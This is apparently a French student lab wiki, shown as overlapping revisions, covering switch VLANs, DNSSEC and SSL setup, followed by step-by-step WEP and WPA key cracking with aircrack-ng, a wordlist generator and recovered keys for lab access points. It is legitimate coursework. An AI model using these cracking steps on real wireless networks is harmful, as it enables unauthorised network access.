maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Sécurisation du site via certificat SSL===<br /> <br /> Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.<br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr<br /> Generating a 2048 bit RSA private key<br /> ..................................................................+++<br /> .........................................+++<br /> writing new private key to 'Ironman.key'<br /> -----<br /> You are about to be asked to enter information that will be incorporated<br /> into your certificate request.<br /> What you are about to enter is what is called a Distinguished Name or a DN.<br /> There are quite a few fields but you can leave some blank<br /> For some fields there will be a default value,<br /> If you enter '.', the field will be left blank.<br /> -----<br /> Country Name (2 letter code) [AU]:FR<br /> State or Province Name (full name) [Some-State]:Nord <br /> Locality Name (eg, city) []:Lille<br /> Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille<br /> Organizational Unit Name (eg, section) []:IMA<br /> Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space<br /> Email Address []:<br /> Please enter the following 'extra' attributes<br /> to be sent with your certificate request<br /> A challenge password []:<br /> An optional company name []:<br /> <br /> A partir de ce moment là, ls clefs ont été générées : <br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# ls<br /> Ironman.csr Ironman.key<br /> <br /> <br /> Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.<br /> <br /> De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:<br /> <br /> [...]<br /> admin: root<br /> <br /> Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants :<br /> <br /> cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key<br /> cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt<br /> cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire)<br /> <br /> On effectue ensuite un rehash des certificats :<br /> <br /> c_rehash /etc/ssl/certs<br /> Doing /etc/ssl/certs<br /> bielloumutherfucker.space.crt =&gt; 6860aa7d.0<br /> bielloumutherfucker.space.crt =&gt; 5692355e.0<br /> ssl-cert-snakeoil.pem =&gt; a036afff.0<br /> ssl-cert-snakeoil.pem =&gt; 4390636f.0<br /> GandiStandardSSLCA2.pem =&gt; 8544bf03.0<br /> GandiStandardSSLCA2.pem =&gt; e279a80b.0<br /> <br /> On crée ensuite le fichier ''000-bielloumutherfucker.space-ssl.conf'' dans le dossier /etc/apache2/sites-available :<br /> <br /> #NameVirtualHost *:443<br /> &lt;VirtualHost 193.48.57.167:443&gt;<br /> ServerName www.bielloumutherfucker.space<br /> ServerAlias bielloumutherfucker.space<br /> DocumentRoot /var/www/html/<br /> CustomLog /var/log/apache2/secure_access.log combined<br /> <br /> SSLEngine on<br /> SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt<br /> SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key<br /> SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br /> SSLVerifyClient None<br /> &lt;/VirtualHost&gt;<br /> &lt;Directory /var/www/html&gt;<br /> Require all granted<br /> &lt;/Directory&gt;<br /> ServerName &quot;bielloumutherfucker.space&quot;<br /> <br /> Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) :<br /> <br /> Listen 80 443<br /> &lt;IfModule ssl_module&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> &lt;IfModule mod_gnutls.c&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> <br /> On doit ensuite autoriser apache à utiliser son module ssl : <br /> <br /> a2enmod ssl<br /> <br /> Puis on autorise notre site à utiliser ssl :<br /> <br /> a2ensite 000-bielloumutherfucker.space-ssl.conf<br /> <br /> Ensuite :<br /> <br /> service apache2 restart<br /> service apache2 reload<br /> <br /> Maintenant, lorsqu'on se connecte sur notre site avec le préfixe &quot;https://&quot;, le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé.<br /> <br /> [[FILE=ssl.png]]<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 <br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Fichier:Ssl.png&diff=35768 2016-12-08T13:57:06Z

<p>Rruet : </p> <hr /> <div></div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35761 2016-12-08T10:05:05Z

<p>Rruet : /* Sécurisation du site via certificat SSL */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Sécurisation du site via certificat SSL===<br /> <br /> Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.<br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr<br /> Generating a 2048 bit RSA private key<br /> ..................................................................+++<br /> .........................................+++<br /> writing new private key to 'Ironman.key'<br /> -----<br /> You are about to be asked to enter information that will be incorporated<br /> into your certificate request.<br /> What you are about to enter is what is called a Distinguished Name or a DN.<br /> There are quite a few fields but you can leave some blank<br /> For some fields there will be a default value,<br /> If you enter '.', the field will be left blank.<br /> -----<br /> Country Name (2 letter code) [AU]:FR<br /> State or Province Name (full name) [Some-State]:Nord <br /> Locality Name (eg, city) []:Lille<br /> Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille<br /> Organizational Unit Name (eg, section) []:IMA<br /> Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space<br /> Email Address []:<br /> Please enter the following 'extra' attributes<br /> to be sent with your certificate request<br /> A challenge password []:<br /> An optional company name []:<br /> <br /> A partir de ce moment là, ls clefs ont été générées : <br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# ls<br /> Ironman.csr Ironman.key<br /> <br /> <br /> Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.<br /> <br /> De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:<br /> <br /> [...]<br /> admin: root<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 